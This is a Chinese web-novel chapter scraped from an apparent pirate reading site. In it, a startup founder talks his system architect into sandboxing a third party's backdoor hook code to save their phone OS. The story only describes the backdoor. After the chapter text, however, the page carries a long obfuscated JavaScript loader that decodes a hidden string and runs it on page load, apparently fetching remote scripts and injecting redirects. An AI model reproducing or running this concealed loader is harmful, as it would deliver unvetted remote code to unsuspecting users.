首页
第92章 必要的肮脏
返回

第92章 必要的肮脏

章节报错(免登陆)

一秒记住【笔趣阁小说网】
xbiquge345.com,更新快,无弹窗!

    第92章必要的肮脏
    深圳极光科技,东侧消防通道。
    厚重的防火门隔绝了办公室里的嘈杂,楼道里安静得只剩下声控灯电流的微弱嗡鸣。
    这里是整栋写字楼最阴暗的角落,常年弥漫着一股陈旧的灰尘味。
    江彻靠在冰凉的水泥墙上,脚边是一个装着菸蒂的矿泉水瓶。
    他手里那根中南海已经燃了一半,他没抽,只是任由烟雾在指间缭绕,熏得眼睛有些发酸。
    林一站在他对面,背对着他,看着楼梯间那扇布满灰尘的小窗户。
    窗外是深圳灰蒙蒙的天空,压抑得让人透不过气。
    「咳咳————」
    林一被烟味呛到了,但他没有躲开。
    他转过身,向江彻伸出手。
    「给我一根。」
    江彻把烟盒递过去,帮他点上火。
    林一是个不抽菸的人。
    但他现在的样子,像是个有着十年烟龄的老烟枪。
    他狠狠吸了一口,被呛得弯下腰剧烈咳嗽,眼泪都咳出来了,却依然死死夹着那根烟不肯松手。
    「江彻。」
    林一咳红了脸,声音沙哑。
    「你知道我在谷歌的时候,最引以为傲的是什麽吗?」
    「是什麽?」
    「是那个「Don「tbeevil「(不作恶)的信条。」
    林一看着指尖忽明忽暗的火星,眼神迷离。
    「我以为技术是纯洁的。我以为只要代码写得够漂亮,逻辑够严密,就能改变世界。我以为我们做极光0S,是为了给用户一个乾净的家,而不是往他们家里塞窃听器。
    「那个老k的代码我看懂了。」
    林一抬起头,眼神里带着一种技术人员特有的洁癖被侵犯后的痛苦。
    「他在系统底层打了个洞。只要他想,他可以拦截任何指令,甚至可以伪造用户的点击。这哪里是安全软体?这就是一把万能钥匙。」
    「如果我们用了它,我们就和那些盗号木马丶流氓插件没有本质区别了。」
    江彻静静地听着。
    他理解林一的痛苦。对于一个架构师来说,在自己的系统里植入这种代码,就像是在亲生孩子的身体里植入一个肿瘤。
    「林一,你说得对。」
    江彻弹了弹菸灰,声音低沉。
    「那是脏东西。是病毒。是恶。」
    「那你还————」
    「但如果不这麽做,极光就死了。
    ,江彻打断了他,语气变得冷硬。
    「你去看看现在的后台数据。退货率30%,日活腰斩。每天都有几千个用户因为QQ登不上而骂我们垃圾。」
    「腾讯用它的「安全」名义,把我们逼到了死角。」
    江彻走到林一面前,直视着他的眼睛。
    「林一,你告诉我。」
    「是一个「乾净」但死去的极光有价值?」
    「还是一个「脏」了一点,却能活下来继续战斗的极光有价值?」
    林一沉默了。
    他咬着嘴唇,直到尝到了血腥味。
    「这就好比化疗。」
    江彻的声音柔和了一些,带着一丝无奈的劝诱。
    「化疗药物也是毒药,它会杀得人头发掉光丶呕吐不止。但它能杀得死癌细胞。」
    「老K的代码,就是我们的化疗药。」
    「可是————」
    林一痛苦地闭上眼睛,「一旦开了这个口子,我们就回不去了。如果老K乱来怎麽办?如果360反水怎麽办?这个后门一旦打开,谁能保证进来的只有风,没有狼?」
    「所以,我需要你。」
    江彻把手按在林一的肩膀上,用力捏了捏。
    「老K是把刀,但他是个没把手的刀,用不好会割伤自己。」
    「我要你去做那个刀鞘。」
    「刀鞘?」林一睁开眼。
    「对。」
    江彻的眼神变得异常坚定。
    「我不放心那群野蛮人直接动我的系统。我要你亲自去写那个接口。」
    「你要给这个「极光卫士」做一个沙箱。」
    「把它关在笼子里。只给它看它该看的,只让它做它该做的。限制它的权限,监控它的行为。」
    「如果它想咬腾讯,你就松开链子。如果它想咬用户,你就勒死它。」
    「林一,只有你能做到。」
    江彻的声音里带着一丝恳求。
    「你是极光0S的父亲。如果注定要给孩子做一场截肢手术,你是希望让那群土匪拿着锯子乱砍,还是你自己拿着手术刀,精准地切下去?」
    林一愣住了。
    他看着江彻,又看了看手里那根即将燃尽的烟。
    菸灰很烫,烫到了手指。
    他松开手,菸头落在水泥地上,溅起几点火星。
    如果是前者,那是强奸。
    如果是后者,那是救赎。
    虽然都是痛,但至少,他还握着手术刀。
    「呼————」
    林一长长地吐出一口浊气。
    他抬起头。
    那双原本清澈的眼睛里,多了一层灰蒙蒙的雾气。
    「江彻。」
    林一的声音很冷,不带一丝感情。
    「你赢了。」
    「我会去写那个接口。我会给老K的代码加一层封装层。我会把所有的Hook操作都重定向到极光的安全模块里。」
    「但是,你要答应我一个条件。」
    「你说。」
    「等这件事结束。」
    林一死死盯着江彻。
    「等腾讯被打退了,等我们活下来了。」
    「你要让我亲手————把这堆垃圾代码,一个字节一个字节地删乾净。」
    「我发誓。」
    江彻举起右手,郑重其事。
    「如果有一天极光不再需要这把刀,我一定亲手把它折断。」
    「好。」
    林一转身,拉开了防火门。
    门外,喧嚣声再次涌入。
    老K那群人还在大声喧哗,那是野蛮人入侵的声音。
    林一整理了一下衣领,原本有些佝偻的背脊重新挺直。
    他不再是那个有着洁癖的矽谷精英。
    他是极光科技的守夜人。
    为了守护光明,他不得不让自己沾染黑暗。
    「都给我闭嘴!」
    林一走进研发中心,对着那群正在抽菸的360技术员吼了一声。
    声音不大,却透着一股不容置疑的威严。
    老K愣了一下,转过头看着这个书生。
    「把烟掐了。」
    林一走到老K面前,一把夺过他手里的U盘。
    「从现在开始,这里的每一行代码,都要按我的规矩来写。」
    「谁敢乱动我的内核,我就把谁的手剁了。」
    老K眯起眼睛,看着林一那双布满血丝的眼睛。
    过了几秒,他笑了。
    「行啊,有点意思。听你的,林大总管。」
    江彻站在门口,看着这一幕。
    他靠在门框上,感觉浑身的力气都被抽乾了。
    他成功了。
    他把最锋利的矛和最坚固的盾捏合在了一起。
    但他心里没有一丝喜悦。
    刚才在那个昏暗的楼道里。
    他亲手杀死了林一心中那个完美无瑕的天使。
    「对不起。」
    江彻在心里默默说道。
    窗外,深圳的天空更加阴沉了,一场暴雨即将来临。
    极光科技的伺服器里,一个名为「AuroraGuard(极光卫士)」的怪物,正在两位天才的手中,缓缓睁开眼睛。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();